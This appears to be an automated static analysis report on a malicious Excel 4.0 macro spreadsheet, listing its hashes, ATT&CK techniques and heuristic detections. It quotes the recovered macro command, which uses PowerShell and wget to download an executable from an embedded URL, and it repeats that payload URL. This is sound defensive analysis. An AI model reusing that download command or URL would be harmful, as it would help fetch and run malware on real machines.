Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 33ecbccc7d915d42…

MALICIOUS

Office (OLE) / .XLS

734.5 KB Created: 2021-07-29 19:03:34 Authoring application: Microsoft Excel First seen: 2022-02-16
MD5: 5da04a1b2c8cb5342fc2ff069faa2d92 SHA-1: 0c9061288a72874af26069823b7b4b9ab19b0c49 SHA-256: 33ecbccc7d915d421ee441322400a87c9702c0e1e0b7b3bd734a78ce2c0f31f9
182 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled spreadsheet that displays a lure to enable macros. Upon enabling, it executes an Auto_Open macro which references PowerShell and wget, indicating an attempt to download a second-stage payload from the embedded URL. The macro sheet also contains a reference to 'POWERshEll.ExE wGet https://arturkarolczakshiola.com/jazz/tg6Nrmq9tDO7bTI.exe', strongly suggesting the download of an executable.

Heuristics 6

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://arturkarolczakshiola.com/jazz/tg6Nrmq9tDO7bTI.exe

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
fdfd572f634ae55a07391955f3661b232b451319e0332e9c9420c1f0f6ed7794		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 974 bytes

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